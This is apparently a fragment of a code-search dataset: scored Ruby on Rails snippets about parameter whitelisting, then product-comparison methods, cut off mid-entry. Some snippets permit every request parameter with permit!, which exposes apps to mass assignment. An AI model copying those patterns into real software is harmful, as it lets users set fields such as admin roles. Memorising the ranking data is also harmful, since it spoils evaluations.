"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
10937e83d4df729b66bee96e3247ef66
|
Get Comparable Products Find comparable products to the given one.
|
[
{
"docid": "cbd746fb77213daab3d3fdfb1b614142",
"score": "0.6087802",
"text": "def get_comparable_products(upc, opts = {})\n data, _status_code, _headers = get_comparable_products_with_http_info(upc, opts)\n data\n end",
"title": ""
}
] |
[
{
"docid": "c951abb7e47e0455964536b380a1cffe",
"score": "0.6275275",
"text": "def similar_products(product, opts={})\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "d33061cad457ead4a53df8f1e3909624",
"score": "0.6241972",
"text": "def most_similar_products\n matches = Tagging\n .exclude_product_id(id)\n .best_matching_product_ids_with_match_count(tag_ids)\n Product\n .where(id: matches.map(&:first)).includes(:tags)\n .map do |product|\n SimilarProduct.new product,\n percental_similiarity_by_matching_tags(matches[product.id])\n end\n .sort_by(&:similarity).reverse\n end",
"title": ""
},
{
"docid": "269a3124aa9fcb7a86b46a4e8d93a1c3",
"score": "0.6038884",
"text": "def compare(x,y)\n a = CachedProduct.find_by_product_id(x['product_id'].to_s)\n b = CachedProduct.find_by_product_id(y['product_id'].to_s)\n return a.max_small <=> b.max_small\n end",
"title": ""
},
{
"docid": "53de93e6ae3139e725a6f0a0d3b0dcf0",
"score": "0.5944346",
"text": "def all_pairs_chp_than(val)\n pairs_products = []\n (0...products.length).each do |i|\n if products[i].price < val\n (i+1...products.length).each do |j|\n if products[j].price + products[i].price < val\n pairs_products << [products[j], products[i]]\n end\n end\n end\n end\n return pairs_products\n end",
"title": ""
},
{
"docid": "ed24e81297299d5e3e6ab9e4d5a060ef",
"score": "0.5920849",
"text": "def find_same_available_products\n Product.availabe.where(modal_id: self.modal_id, price: self.price, brand_id: self.brand_id)\n end",
"title": ""
},
{
"docid": "9d3e978c9731b960929a23a19aba6498",
"score": "0.5848235",
"text": "def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"title": ""
},
{
"docid": "9d3e978c9731b960929a23a19aba6498",
"score": "0.5848235",
"text": "def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"title": ""
},
{
"docid": "e6c1da60a527767bdbc211acc38ebecf",
"score": "0.5762426",
"text": "def items_with_cost_greater_than(products, min_cost)\n products.find_all do |prod|\n prod[:cost] > min_cost\n end\nend",
"title": ""
},
{
"docid": "38222cff14d440d0b4c0098d4d4c5453",
"score": "0.5760578",
"text": "def dst_SortProducts(products)\n\n distances = []\n distProd = Hash.new\n\n products.each do |prod|\n if !distances.include? p_calculateDistance(prod)\n distances.push p_calculateDistance(prod)\n distProd[p_calculateDistance(prod)] = []\n end\n distProd[p_calculateDistance(prod)] = distProd[p_calculateDistance(prod)].push prod\n end\n\n distances.each do |d|\n distProd[d].sort!\n end\n\n distances.sort!\n sortedProducts = []\n distances.each do |d|\n sortedProducts.push *distProd[d]\n end\n return sortedProducts\n end",
"title": ""
},
{
"docid": "5ecda0518a06429d05db740de3b23499",
"score": "0.5750836",
"text": "def get_products2()\n products = Product.where(company_id: self.id).order(:products_category_id,:code) \n return products\n end",
"title": ""
},
{
"docid": "724bd648918f24d81c7ecfdc21dae0aa",
"score": "0.5745604",
"text": "def dst_SortProducts(products)\n\n distances = []\n distProd = Hash.new\n\n products.each do |prod|\n if !distances.include? p_calculateDistance(prod)\n distances.push p_calculateDistance(prod)\n distProd[p_calculateDistance(prod)] = []\n end\n distProd[p_calculateDistance(prod)] = distProd[p_calculateDistance(prod)].push prod\n end\n\n distances.each do |d|\n distProd[d].sort!\n end\n\n distances.sort!\n sortedProducts = []\n distances.each do |d|\n sortedProducts.push *distProd[d]\n end\n return sortedProducts\n end",
"title": ""
},
{
"docid": "94e298db648b4a28edfacad1b3e0d0f8",
"score": "0.5726993",
"text": "def find_top_similar_products(active_obj, top = nil)\n return unless active_obj\n \n similarities = []\n # an optimisation tweak, pre-fetch all users with the active product\n list = users_have_same_product active_obj\n @products.each_value do |obj|\n next if obj.id == active_obj.id # Skip the same object\n sim = similarity_for_products active_obj, obj, list\n next if sim < MIN_SIMILARITY\n similarities << { :id => obj.id, :similarity => sim }\n end\n similarities.sort{ |x, y| y[:similarity] <=> x[:similarity] }.first(top || similarities.size)\n end",
"title": ""
},
{
"docid": "8bea8a26141454b9c23e0f4bec9530db",
"score": "0.5723122",
"text": "def get_best_seller_products\n return Product.where(\"quantity >? and is_best_seller=?\",0,true)\n end",
"title": ""
},
{
"docid": "834c4713b8eef3a63e9cd59bf1397ccb",
"score": "0.57230586",
"text": "def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"title": ""
},
{
"docid": "7451efedb36e0f2dde3a1f8f317f3d7f",
"score": "0.57173425",
"text": "def find_same_available_products\n Accessory.availabe.where(modal_id: self.modal_id, price: self.price)\n end",
"title": ""
},
{
"docid": "dabf89fb1ef52c86b8817caa42ae88c6",
"score": "0.5676386",
"text": "def product_sort(quantity, name, price)\n if name.include? (\"imported box of chocolates\")\n ImportedExempt.new(quantity, name, price)\n elsif name.include?(\"book\") || name.include?(\"chocolate\") || name.include?(\"pills\")\n Exempt.new(quantity, name, price)\n elsif name.include?(\"imported\")\n Import.new(quantity, name, price)\n else\n Product.new(quantity, name, price)\n end\n end",
"title": ""
},
{
"docid": "0786917e37febe59162c108df02820b2",
"score": "0.5667017",
"text": "def get_products2()\n products = Product.where(company_id: self.id).order(:products_category_id,:code) \n return products\n end",
"title": ""
},
{
"docid": "29cdd55d972899818569d629f41a55ad",
"score": "0.5664639",
"text": "def restrict_product_set(set, maxPrice)\n set.select! { |product| product['price_f'] < maxPrice }\n # TODO: If unit isn't grams our ratio will be way off\n # TODO: define methods instead of using some symbols and some methods\n set.sort_by! { |product| product.price_per_g / product.avg_thc }\n end",
"title": ""
},
{
"docid": "fef6b8a426a3003fa78f4c7a2f8129ba",
"score": "0.56464255",
"text": "def get_products2()\n products = Product.where(company_id: self.id).order(:products_category_id,:code) \n return products\n end",
"title": ""
},
{
"docid": "bc3b75c8da376d1fb5c9d9ae571454aa",
"score": "0.5640171",
"text": "def similar_prods(products, opts={})\n products.inject({}) do |r,e|\n r[e] = e.similarities(opts)\n r\n end\n end",
"title": ""
},
{
"docid": "ef32294710b6ffdde24aefbd32c8c6b9",
"score": "0.5625712",
"text": "def get_products()\n products = Product.where(company_id: self.id).order(:name)\n \n return products\n end",
"title": ""
},
{
"docid": "30a2b76032047d9533c9bde10a281469",
"score": "0.5609363",
"text": "def possible_products_for_group(group)\n Product.order(:name) - Product.joins(:product_group_portfolios).where(:product_group_portfolios => {:group_id => group.id, :portfolio_id => self.id}).uniq\n end",
"title": ""
},
{
"docid": "2d9d437d40f289235543527265478577",
"score": "0.56031686",
"text": "def find_purchased(object, resource)\n @products = []\n @purchases = Purchase.where(:customer_id => self.id).where(:product_type => object.to_s.downcase)\n @purchases.each do |r|\n product = object.find(r.product_id)\n if product.resource_id == resource.id && product.resource_type == resource.to_s.downcase\n @products << product\n end\n end\n return @products\nend",
"title": ""
},
{
"docid": "6305845123d6adbcec837e4450af3a78",
"score": "0.5597944",
"text": "def pkz_products() Product.find(pkz_product_ids) end",
"title": ""
},
{
"docid": "b78243a5664d812443b1846da1e2d8fb",
"score": "0.5586598",
"text": "def available_product_versions\n product_versions = []\n if self.release.product_versions.empty?\n # Note: this always returns enabled product versions\n product_versions = self.product.product_versions\n else\n if self.release.product.nil?\n product_versions = self.release.product_versions.where('product_id = ?', self.product)\n else\n product_versions = self.release.product_versions\n end\n end\n product_versions.reject! {|pv| pv.variants.empty?}\n return product_versions.sort {|a,b| a.name <=> b.name}\n end",
"title": ""
},
{
"docid": "73b83268fa6efbe8a3b9373228a738a0",
"score": "0.5583277",
"text": "def <(products)\n authtest\n [products].flatten.each do |product|\n raise ArgumentError, \"That is not a Tesco Product object\" if !product.is_a?(Tesco::Groceries::Product)\n (self[product] ||= BasketItem.new(self,{'ProductId' => product.product_id})).add(1)\n end\n end",
"title": ""
},
{
"docid": "ef4b72cd26b82901e178016f2ce3213d",
"score": "0.55817103",
"text": "def products_in_set\n reversed_set = set.reverse\n \n [].tap do |results|\n reversed_set.each.with_index do |one, index|\n set.detect do |other|\n break if one * other > boundaries.max\n results << one if reversed_set[0..index].include? one * other\n end\n end\n end\n end",
"title": ""
},
{
"docid": "acb9d6d2cf8d8414519dc1f5ad0060f5",
"score": "0.5572748",
"text": "def recommend_products(max_calories)\n products = InventoryData.products\n products_count = products.length\n\n ## METHOD 1: Brutforce Approach##\n # return products_by_brutforce(max_calories, products)\n\n ## METHOD 2: USING Dynamic Programming##\n # To save memory, factor can be used.\n # all calories values will be divided by factor as for current data set, values are multiples of 10\n # example if target is 1500, value will become 1500 / 10 => 150\n # similarly, calories of each product will also be factored.\n factor = 10\n dp = build_dp(products, max_calories, factor)\n\n possible_products = backtrack_dp(dp, max_calories, factor)\n return [] if possible_products.empty?\n\n possible_products.sample.to_a.map { |index| products[index] }\n end",
"title": ""
},
{
"docid": "b7e4755ff4b1182b91145e3d23a9a03a",
"score": "0.5560491",
"text": "def item_containing(product)\n items_containing(product).first\n end",
"title": ""
},
{
"docid": "91fd9cbd5f74cc823f3bc1f261d2386c",
"score": "0.5553701",
"text": "def lowest_version\n Version::ORDER.each do |ordered_version_name|\n @versions.each do |product_version|\n return product_version if ordered_version_name == product_version.name\n end\n end\n raise \"Unable to find lowest version for product #{display_name}\"\n end",
"title": ""
},
{
"docid": "b5c40e4494559132bffa4316251ba282",
"score": "0.5509027",
"text": "def available_variants\n filtered_products.flat_map(&:available_variants).sort_by(&:grams)\n end",
"title": ""
},
{
"docid": "866f8b15395d79d13fd69babcec5a434",
"score": "0.5501704",
"text": "def solution(a)\n a.sort!\n\n # Take two highest possible products\n product_1 = (a.first(2) << a.last).inject(:*)\n product_2 = a.last(3).inject(:*)\n\n product_1 > product_2 ? product_1 : product_2\nend",
"title": ""
},
{
"docid": "498334c5a0492e1cd94223ccb1a16428",
"score": "0.5501622",
"text": "def products_by_brutforce(max_calories, products)\n 1.upto(products.count).to_a.shuffle.each do |n|\n products.combination(n).to_a.shuffle.each do |n_products|\n if n_products.map { |product| product[:serving_calories] }.inject(:+) <= max_calories\n return n_products\n end\n end\n end\n []\n end",
"title": ""
},
{
"docid": "5fc8a08f2890f7efcf826dd2688d6e21",
"score": "0.54981536",
"text": "def sorted_products\n products = []\n collects = {}\n page = 1\n count = Collect.count(collection_id: self.id)\n return unless count > 0\n page += count.divmod(250).first\n while page > 0\n list = Collect.all(params: { collection_id: self.id, page: page })\n collects.merge! list.inject({}) { |result, el| result[el.product_id] = { collect_id: el.id, position: el.position }; result }\n page -= 1\n end\n #puts \"\\ncollects: #{collects.inspect}\\n\"\n page = 1\n count = Product.count\n return unless count > 0\n page += count.divmod(250).first\n status = {\n fields: 'id,title,handle,variants,images',\n limit: 250,\n collection_id: self.id\n }\n while page > 0\n status[:page] = page\n list = Product.all(params: status)\n # Now we do our trickery and add a position to each element so that sorting becomes easy.\n list.each do |product|\n product.tap { |p| p.position = collects[product.id][:position]; p.collect_id = collects[product.id][:collect_id] }\n end\n products += list\n page -= 1\n end\n products.sort_by(&:position)\n end",
"title": ""
},
{
"docid": "87e4c8076969474acc97999b1333f0c8",
"score": "0.54901606",
"text": "def similar_products\n Recommendation::AttributeBasedSimilarity.similar_to(self)\n end",
"title": ""
},
{
"docid": "9333b026a11c57707d0193f9b6746c5e",
"score": "0.54798794",
"text": "def check_reorder\n @products.select { |p| p.quantity <= p.reorder_level}\n end",
"title": ""
},
{
"docid": "836cee6c174832faff27cbe3eb84bc9f",
"score": "0.5472655",
